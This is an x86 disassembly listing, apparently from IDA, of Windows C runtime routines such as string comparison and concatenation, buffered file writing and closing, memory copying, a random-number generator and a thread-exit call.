; sub_402979+6Dp ...
call sub_411FFD
mov ecx, [eax+14h]
imul ecx, 343FDh
add ecx, 269EC3h
mov [eax+14h], ecx
mov eax, ecx
shr eax, 10h
and eax, 7FFFh
retn
sub_40FA86 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40FAB0 proc near ; CODE XREF: sub_40376E+15p
; sub_403A28+86p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_40FAFC
loc_40FAC0: ; CODE XREF: sub_40FAB0+3Cj
; sub_40FAB0+6Aj ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_40FAF4
or al, al
jz short loc_40FAF0
cmp ah, [ecx+1]
jnz short loc_40FAF4
or ah, ah
jz short loc_40FAF0
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_40FAF4
or al, al
jz short loc_40FAF0
cmp ah, [ecx+3]
jnz short loc_40FAF4
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_40FAC0
mov edi, edi
loc_40FAF0: ; CODE XREF: sub_40FAB0+18j
; sub_40FAB0+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_40FAF4: ; CODE XREF: sub_40FAB0+14j
; sub_40FAB0+1Dj ...
sbb eax, eax
shl eax, 1
add eax, 1
retn
; ---------------------------------------------------------------------------
loc_40FAFC: ; CODE XREF: sub_40FAB0+Ej
test edx, 1
jz short loc_40FB1C
mov al, [edx]
add edx, 1
cmp al, [ecx]
jnz short loc_40FAF4
add ecx, 1
or al, al
jz short loc_40FAF0
test edx, 2
jz short loc_40FAC0
loc_40FB1C: ; CODE XREF: sub_40FAB0+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_40FAF4
or al, al
jz short loc_40FAF0
cmp ah, [ecx+1]
jnz short loc_40FAF4
or ah, ah
jz short loc_40FAF0
add ecx, 2
jmp short loc_40FAC0
sub_40FAB0 endp
; =============== S U B R O U T I N E =======================================
sub_40FB38 proc near ; DATA XREF: .vty:0041EB2Co
push dword_42476C
call sub_411DBF
test eax, eax
pop ecx
jz short loc_40FB4A
call eax
loc_40FB4A: ; CODE XREF: sub_40FB38+Ej
push 19h
call sub_41422C
push 1
push 0
call loc_41420E
add esp, 0Ch
jmp sub_41411B
sub_40FB38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FB62 proc near ; CODE XREF: sub_40FC7C+63p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
mov [ebp+arg_0], eax
mov eax, [ebp+arg_4]
imul eax, [ebp+arg_8]
test eax, eax
push ebx
mov [ebp+var_8], eax
mov ebx, eax
jz loc_40FC73
push esi
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_40FB96
mov ecx, [esi+18h]
mov [ebp+var_4], ecx
jmp short loc_40FB9D
; ---------------------------------------------------------------------------
loc_40FB96: ; CODE XREF: sub_40FB62+2Aj
mov [ebp+var_4], 1000h
loc_40FB9D: ; CODE XREF: sub_40FB62+32j
push edi
jmp short loc_40FBA3
; ---------------------------------------------------------------------------
loc_40FBA0: ; CODE XREF: sub_40FB62+106j
mov eax, [ebp+var_8]
loc_40FBA3: ; CODE XREF: sub_40FB62+3Cj
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_40FBDE
mov edi, [esi+4]
test edi, edi
jz short loc_40FBDE
jl loc_40FC76
cmp ebx, edi
jnb short loc_40FBC1
mov edi, ebx
loc_40FBC1: ; CODE XREF: sub_40FB62+5Bj
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_410050
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp loc_40FC66
; ---------------------------------------------------------------------------
loc_40FBDE: ; CODE XREF: sub_40FB62+4Aj
; sub_40FB62+51j
cmp ebx, [ebp+var_4]
jb short loc_40FC3D
test ecx, ecx
jz short loc_40FBF2
push esi
call sub_414ADE
test eax, eax
pop ecx
jnz short loc_40FC31
loc_40FBF2: ; CODE XREF: sub_40FB62+83j
cmp [ebp+var_4], 0
mov edi, ebx
jz short loc_40FC03
xor edx, edx
mov eax, ebx
div [ebp+var_4]
sub edi, edx
loc_40FC03: ; CODE XREF: sub_40FB62+96j
push edi
push [ebp+arg_0]
push esi
call sub_414AB1
pop ecx
push eax
call sub_4149D5
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_40FC2D
cmp eax, edi
mov ecx, edi
ja short loc_40FC24
mov ecx, eax
loc_40FC24: ; CODE XREF: sub_40FB62+BEj
add [ebp+arg_0], ecx
sub ebx, ecx
cmp eax, edi
jnb short loc_40FC66
loc_40FC2D: ; CODE XREF: sub_40FB62+B8j
or dword ptr [esi+0Ch], 20h
loc_40FC31: ; CODE XREF: sub_40FB62+8Ej
; sub_40FB62+EDj
mov eax, [ebp+var_8]
loc_40FC34: ; CODE XREF: sub_40FB62+118j
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_40FC71
; ---------------------------------------------------------------------------
loc_40FC3D: ; CODE XREF: sub_40FB62+7Fj
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
push esi
push eax
call sub_4111BA
cmp eax, 0FFFFFFFFh
pop ecx
pop ecx
jz short loc_40FC31
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
test eax, eax
mov [ebp+var_4], eax
jg short loc_40FC66
mov [ebp+var_4], 1
loc_40FC66: ; CODE XREF: sub_40FB62+77j
; sub_40FB62+C9j ...
test ebx, ebx
jnz loc_40FBA0
mov eax, [ebp+arg_8]
loc_40FC71: ; CODE XREF: sub_40FB62+D9j
pop edi
pop esi
loc_40FC73: ; CODE XREF: sub_40FB62+1Aj
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40FC76: ; CODE XREF: sub_40FB62+53j
or dword ptr [esi+0Ch], 20h
jmp short loc_40FC34
sub_40FB62 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FC7C proc near ; CODE XREF: sub_40460B+108p
; sub_40499E+127p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push 0Ch
push offset dword_41F8C0
call __SEH_prolog4
mov eax, [ebp+arg_4]
imul eax, [ebp+arg_8]
test eax, eax
jnz short loc_40FC97
loc_40FC93: ; CODE XREF: sub_40FC7C+3Dj
xor eax, eax
jmp short loc_40FCF9
; ---------------------------------------------------------------------------
loc_40FC97: ; CODE XREF: sub_40FC7C+15j
xor eax, eax
xor esi, esi
cmp [ebp+arg_C], esi
setnz al
cmp eax, esi
jnz short loc_40FCBB
loc_40FCA5: ; CODE XREF: sub_40FC7C+49j
call sub_40F79E
mov [eax], esi
push esi
push esi
push esi
push esi
push esi
call sub_40DCD8
add esp, 14h
jmp short loc_40FC93
; ---------------------------------------------------------------------------
loc_40FCBB: ; CODE XREF: sub_40FC7C+27j
xor eax, eax
cmp [ebp+arg_0], esi
setnz al
cmp eax, esi
jz short loc_40FCA5
push [ebp+arg_C]
call sub_413B59
pop ecx
mov [ebp+ms_exc.disabled], esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40FB62
add esp, 10h
mov [ebp+var_1C], eax
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40FCFF
mov eax, [ebp+var_1C]
loc_40FCF9: ; CODE XREF: sub_40FC7C+19j
call __SEH_epilog4
retn
sub_40FC7C endp
; =============== S U B R O U T I N E =======================================
sub_40FCFF proc near ; CODE XREF: sub_40FC7C+75p
; DATA XREF: .vty:0041F8D8o
push dword ptr [ebp+14h]
call sub_413BAB
pop ecx
retn
sub_40FCFF endp
; =============== S U B R O U T I N E =======================================
sub_40FD09 proc near ; CODE XREF: sub_40FD7C+5Ap
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
xor edi, edi
or ebx, 0FFFFFFFFh
cmp esi, edi
jnz short loc_40FD36
call sub_40F79E
push edi
push edi
push edi
push edi
push edi
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
or eax, 0FFFFFFFFh
jmp short loc_40FD78
; ---------------------------------------------------------------------------
loc_40FD36: ; CODE XREF: sub_40FD09+Ej
test byte ptr [esi+0Ch], 83h
jz short loc_40FD73
push esi
call sub_414ADE
push esi
mov ebx, eax
call sub_414DC6
push esi
call sub_414AB1
push eax
call sub_414CF9
add esp, 10h
test eax, eax
jge short loc_40FD62
or ebx, 0FFFFFFFFh
jmp short loc_40FD73
; ---------------------------------------------------------------------------
loc_40FD62: ; CODE XREF: sub_40FD09+52j
mov eax, [esi+1Ch]
cmp eax, edi
jz short loc_40FD73
push eax
call sub_41112C
pop ecx
mov [esi+1Ch], edi
loc_40FD73: ; CODE XREF: sub_40FD09+31j
; sub_40FD09+57j ...
mov [esi+0Ch], edi
mov eax, ebx
loc_40FD78: ; CODE XREF: sub_40FD09+2Bj
pop edi
pop esi
pop ebx
retn
sub_40FD09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FD7C proc near ; CODE XREF: sub_40460B+110p
; sub_40499E+153p ...
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 0Ch
push offset dword_41F8E0
call __SEH_prolog4
or [ebp+var_1C], 0FFFFFFFFh
xor eax, eax
mov esi, [ebp+arg_0]
xor edi, edi
cmp esi, edi
setnz al
cmp eax, edi
jnz short loc_40FDB9
call sub_40F79E
mov dword ptr [eax], 16h
push edi
push edi
push edi
push edi
push edi
call sub_40DCD8
add esp, 14h
or eax, 0FFFFFFFFh
jmp short loc_40FDC5
; ---------------------------------------------------------------------------
loc_40FDB9: ; CODE XREF: sub_40FD7C+1Ej
test byte ptr [esi+0Ch], 40h
jz short loc_40FDCB
mov [esi+0Ch], edi
loc_40FDC2: ; CODE XREF: sub_40FD7C+6Fj
mov eax, [ebp+var_1C]
loc_40FDC5: ; CODE XREF: sub_40FD7C+3Bj
call __SEH_epilog4
retn
; ---------------------------------------------------------------------------
loc_40FDCB: ; CODE XREF: sub_40FD7C+41j
push esi
call sub_413B59
pop ecx
mov [ebp+ms_exc.disabled], edi
push esi
call sub_40FD09
pop ecx
mov [ebp+var_1C], eax
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40FDF0
jmp short loc_40FDC2
sub_40FD7C endp
; =============== S U B R O U T I N E =======================================
sub_40FDED proc near ; DATA XREF: .vty:0041F8F8o
mov esi, [ebp+8]
sub_40FDED endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40FDF0 proc near ; CODE XREF: sub_40FD7C+6Ap
push esi
call sub_413BAB
pop ecx
retn
sub_40FDF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FDF8 proc near ; CODE XREF: sub_40376E+CDp
; sub_40376E+13Ep ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp+var_8]
push eax
call dword_41C118 ; GetSystemTimeAsFileTime
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
push 0
add eax, 2AC18000h
push 989680h
adc ecx, 0FE624E21h
push ecx
push eax
call sub_414E00
mov ecx, [ebp+arg_0]
test ecx, ecx
jz short locret_40FE32
mov [ecx], eax
mov [ecx+4], edx
locret_40FE32: ; CODE XREF: sub_40FDF8+33j
leave
retn
sub_40FDF8 endp
; ---------------------------------------------------------------------------
align 10h
push edi
mov edi, [esp+8]
jmp short loc_40FEB5
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40FE50 proc near ; CODE XREF: sub_40460B+4Ep
; sub_4047AC+32p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_40FE70
loc_40FE5D: ; CODE XREF: sub_40FE50+1Cj
mov al, [ecx]
add ecx, 1
test al, al
jz short loc_40FEA3
test ecx, 3
jnz short loc_40FE5D
mov edi, edi
loc_40FE70: ; CODE XREF: sub_40FE50+Bj
; sub_40FE50+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_40FE70
mov eax, [ecx-4]
test al, al
jz short loc_40FEB2
test ah, ah
jz short loc_40FEAD
test eax, 0FF0000h
jz short loc_40FEA8
test eax, 0FF000000h
jz short loc_40FEA3
jmp short loc_40FE70
; ---------------------------------------------------------------------------
loc_40FEA3: ; CODE XREF: sub_40FE50+14j
; sub_40FE50+4Fj
lea edi, [ecx-1]
jmp short loc_40FEB5
; ---------------------------------------------------------------------------
loc_40FEA8: ; CODE XREF: sub_40FE50+48j
lea edi, [ecx-2]
jmp short loc_40FEB5
; ---------------------------------------------------------------------------
loc_40FEAD: ; CODE XREF: sub_40FE50+41j
lea edi, [ecx-3]
jmp short loc_40FEB5
; ---------------------------------------------------------------------------
loc_40FEB2: ; CODE XREF: sub_40FE50+3Dj
lea edi, [ecx-4]
loc_40FEB5: ; CODE XREF: .vty:0040FE45j
; sub_40FE50+56j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_40FEDE
loc_40FEC1: ; CODE XREF: sub_40FE50+85j
mov dl, [ecx]
add ecx, 1
test dl, dl
jz short loc_40FF30
mov [edi], dl
add edi, 1
test ecx, 3
jnz short loc_40FEC1
jmp short loc_40FEDE
; ---------------------------------------------------------------------------
loc_40FED9: ; CODE XREF: sub_40FE50+A6j
; sub_40FE50+C0j
mov [edi], edx
add edi, 4
loc_40FEDE: ; CODE XREF: sub_40FE50+6Fj
; sub_40FE50+87j
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_40FED9
test dl, dl
jz short loc_40FF30
test dh, dh
jz short loc_40FF27
test edx, 0FF0000h
jz short loc_40FF1A
test edx, 0FF000000h
jz short loc_40FF12
jmp short loc_40FED9
; ---------------------------------------------------------------------------
loc_40FF12: ; CODE XREF: sub_40FE50+BEj
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40FF1A: ; CODE XREF: sub_40FE50+B6j
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_40FF27: ; CODE XREF: sub_40FE50+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40FF30: ; CODE XREF: sub_40FE50+78j
; sub_40FE50+AAj
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_40FE50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FF38 proc near ; CODE XREF: sub_40FF87+21p
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push [ebp+arg_4]
lea ecx, [ebp+var_10]
call sub_40F7E2
mov eax, [ebp+var_10]
cmp dword ptr [eax+0ACh], 1
jle short loc_40FF68
lea eax, [ebp+var_10]
push eax
push 8
push [ebp+arg_0]
call sub_4139CC
add esp, 0Ch
jmp short loc_40FF78
; ---------------------------------------------------------------------------
loc_40FF68: ; CODE XREF: sub_40FF38+1Bj
mov eax, [eax+0C8h]
mov ecx, [ebp+arg_0]
movzx eax, byte ptr [eax+ecx*2]
and eax, 8
loc_40FF78: ; CODE XREF: sub_40FF38+2Ej
cmp [ebp+var_4], 0
jz short locret_40FF85
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
locret_40FF85: ; CODE XREF: sub_40FF38+44j
leave
retn
sub_40FF38 endp
; =============== S U B R O U T I N E =======================================
sub_40FF87 proc near ; CODE XREF: sub_4081BF+F8p
arg_0 = dword ptr 4
cmp dword_424424, 0
jnz short loc_40FFA2
mov eax, [esp+arg_0]
mov ecx, off_423880
movzx eax, byte ptr [ecx+eax*2]
and eax, 8
retn
; ---------------------------------------------------------------------------
loc_40FFA2: ; CODE XREF: sub_40FF87+7j
push 0
push [esp+4+arg_0]
call sub_40FF38
pop ecx
pop ecx
retn
sub_40FF87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FFB0 proc near ; CODE XREF: sub_410004+23p
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push [ebp+arg_4]
lea ecx, [ebp+var_10]
call sub_40F7E2
mov eax, [ebp+var_10]
cmp dword ptr [eax+0ACh], 1
jle short loc_40FFE3
lea eax, [ebp+var_10]
push eax
push 107h
push [ebp+arg_0]
call sub_4139CC
add esp, 0Ch
jmp short loc_40FFF5
; ---------------------------------------------------------------------------
loc_40FFE3: ; CODE XREF: sub_40FFB0+1Bj
mov eax, [eax+0C8h]
mov ecx, [ebp+arg_0]
movzx eax, word ptr [eax+ecx*2]
and eax, 107h
loc_40FFF5: ; CODE XREF: sub_40FFB0+31j
cmp [ebp+var_4], 0
jz short locret_410002
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
locret_410002: ; CODE XREF: sub_40FFB0+49j
leave
retn
sub_40FFB0 endp
; =============== S U B R O U T I N E =======================================
sub_410004 proc near ; CODE XREF: sub_4081BF+AFp
; sub_4089E6+B3p
arg_0 = dword ptr 4
cmp dword_424424, 0
jnz short loc_410021
mov eax, [esp+arg_0]
mov ecx, off_423880
movzx eax, word ptr [ecx+eax*2]
and eax, 107h
retn
; ---------------------------------------------------------------------------
loc_410021: ; CODE XREF: sub_410004+7j
push 0
push [esp+4+arg_0]
call sub_40FFB0
pop ecx
pop ecx
retn
sub_410004 endp
; =============== S U B R O U T I N E =======================================
sub_41002F proc near ; CODE XREF: sub_410040j
; sub_418A60+35p
arg_0 = dword ptr 4
push 0Ah
push 0
push [esp+8+arg_0]
call sub_415093
add esp, 0Ch
retn
sub_41002F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_410040 proc near ; CODE XREF: sub_408E4C+78p
; sub_408E4C+A3p ...
jmp sub_41002F
sub_410040 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410050 proc near ; CODE XREF: sub_405089+B6p
; sub_40B642+C4p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_410070
cmp edi, eax
jb loc_410214
loc_410070: ; CODE XREF: sub_410050+16j
cmp ecx, 100h
jb short loc_410097
cmp dword_426008, 0
jz short loc_410097
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jnz short loc_410097
pop esi
pop edi
pop ebp
jmp sub_415143
; ---------------------------------------------------------------------------
loc_410097: ; CODE XREF: sub_410050+26j
; sub_410050+2Fj ...
test edi, 3
jnz short loc_4100B4
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4100D4
rep movsd
jmp off_4101C4[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_4100B4: ; CODE XREF: sub_410050+4Dj
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_4100CC
and eax, 3
add ecx, eax
jmp dword ptr loc_4100D4+4[eax*4]
; ---------------------------------------------------------------------------
loc_4100CC: ; CODE XREF: sub_410050+6Ej
jmp dword ptr loc_4101D4[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4100D4: ; CODE XREF: sub_410050+58j
; sub_410050+B6j ...
jmp off_410158[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4100E8
; ---------------------------------------------------------------------------
adc al, 1
inc ecx
add [eax], bh
add [ecx+0], eax
loc_4100E8: ; DATA XREF: sub_410050+8Co
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_4100D4
rep movsd
jmp off_4101C4[edx*4]
; ---------------------------------------------------------------------------
align 4
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_4100D4
rep movsd
jmp off_4101C4[edx*4]
; ---------------------------------------------------------------------------
align 4
and edx, ecx
mov al, [esi]
mov [edi], al
add esi, 1
shr ecx, 2
add edi, 1
cmp ecx, 8
jb short loc_4100D4
rep movsd
jmp off_4101C4[edx*4]
; ---------------------------------------------------------------------------
align 4
off_410158 dd offset loc_4101BB ; DATA XREF: sub_410050:loc_4100D4r
dd offset loc_4101A8
dd offset loc_4101A0
dd offset loc_410198
dd offset loc_410190
dd offset loc_410188
dd offset loc_410180
dd offset loc_410178
; ---------------------------------------------------------------------------
loc_410178: ; CODE XREF: sub_410050:loc_4100D4j
; DATA XREF: sub_410050+124o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_410180: ; CODE XREF: sub_410050:loc_4100D4j
; DATA XREF: sub_410050+120o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_410188: ; CODE XREF: sub_410050:loc_4100D4j
; DATA XREF: sub_410050+11Co
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_410190: ; CODE XREF: sub_410050:loc_4100D4j
; DATA XREF: sub_410050+118o
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_410198: ; CODE XREF: sub_410050:loc_4100D4j
; DATA XREF: sub_410050+114o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4101A0: ; CODE XREF: sub_410050:loc_4100D4j
; DATA XREF: sub_410050+110o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4101A8: ; CODE XREF: sub_410050:loc_4100D4j
; DATA XREF: sub_410050+10Co
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4101BB: ; CODE XREF: sub_410050:loc_4100D4j
; DATA XREF: sub_410050:off_410158o
jmp off_4101C4[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4101C4 dd offset loc_4101D4 ; DATA XREF: sub_410050+5Cr
; sub_410050+BAr ...
dd offset loc_4101DC
dd offset loc_4101E8
dd offset loc_4101FC
; ---------------------------------------------------------------------------
loc_4101D4: ; CODE XREF: sub_410050+5Cj
; sub_410050+BAj ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4101DC: ; CODE XREF: sub_410050+5Cj
; sub_410050+BAj ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4101E8: ; CODE XREF: sub_410050+5Cj
; sub_410050+BAj ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4101FC: ; CODE XREF: sub_410050+5Cj
; sub_410050+BAj ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_410214: ; CODE XREF: sub_410050+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_410248
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41023C
std
rep movsd
cld
jmp off_410360[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41023C: ; CODE XREF: sub_410050+1DDj
; sub_410050+238j ...
neg ecx
jmp off_410310[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_410248: ; CODE XREF: sub_410050+1D2j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_410260
and eax, 3
sub ecx, eax
jmp dword ptr loc_410260+4[eax*4]
; ---------------------------------------------------------------------------
loc_410260: ; CODE XREF: sub_410050+202j
; DATA XREF: sub_410050+209r
jmp off_410360[ecx*4]
; ---------------------------------------------------------------------------
align 4
jz short near ptr loc_41026B+1
inc ecx
loc_41026B: ; CODE XREF: sub_410050+218j
add [eax-3FFFBEFEh], bl
add al, [ecx+0]
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
sub esi, 1
shr ecx, 2
sub edi, 1
cmp ecx, 8
jb short loc_41023C
std
rep movsd
cld
jmp off_410360[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41023C
std
rep movsd
cld
jmp off_410360[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41023C
std
rep movsd
cld
jmp off_410360[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_410314
dd offset loc_41031C
dd offset loc_410324
dd offset loc_41032C
dd offset loc_410334
dd offset loc_41033C
dd offset loc_410344
off_410310 dd offset loc_410357 ; DATA XREF: sub_410050+1EEr
; ---------------------------------------------------------------------------
loc_410314: ; DATA XREF: sub_410050+2A4o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41031C: ; DATA XREF: sub_410050+2A8o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_410324: ; DATA XREF: sub_410050+2ACo
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41032C: ; DATA XREF: sub_410050+2B0o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_410334: ; DATA XREF: sub_410050+2B4o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41033C: ; DATA XREF: sub_410050+2B8o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_410344: ; DATA XREF: sub_410050+2BCo
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_410357: ; CODE XREF: sub_410050+1EEj
; DATA XREF: sub_410050:off_410310o
jmp off_410360[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_410360 dd offset loc_410370 ; DATA XREF: sub_410050+1E3r
; sub_410050:loc_410260r ...
dd offset loc_410378
dd offset loc_410388
dd offset loc_41039C
; ---------------------------------------------------------------------------
loc_410370: ; CODE XREF: sub_410050+1E3j
; sub_410050:loc_410260j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_410378: ; CODE XREF: sub_410050+1E3j
; sub_410050:loc_410260j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_410388: ; CODE XREF: sub_410050+1E3j
; sub_410050:loc_410260j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41039C: ; CODE XREF: sub_410050+1E3j
; sub_410050:loc_410260j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_410050 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4103B5 proc near ; CODE XREF: sub_40BB2D+136p
; sub_40BB2D+232p ...
jmp sub_40DD8A
sub_4103B5 endp
; =============== S U B R O U T I N E =======================================
sub_4103BA proc near ; CODE XREF: sub_40D2A0+78p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short locret_4103C4
neg eax
locret_4103C4: ; CODE XREF: sub_4103BA+6j
retn
sub_4103BA endp
; =============== S U B R O U T I N E =======================================
sub_4103C5 proc near ; CODE XREF: sub_4103C5+55p
arg_0 = dword ptr 4
cmp dword_42602C, 0
jz short loc_4103E3
push offset dword_42602C
call sub_4152A2
test eax, eax
pop ecx
jz short loc_4103E3
call dword_42602C
loc_4103E3: ; CODE XREF: sub_4103C5+7j
; sub_4103C5+16j
call sub_411F7A
test eax, eax
jz short loc_4103F3
push eax
call sub_412136
pop ecx
loc_4103F3: ; CODE XREF: sub_4103C5+25j
push [esp+arg_0]
call dword_41C11C ; ExitThread
int 3 ; Trap to Debugger
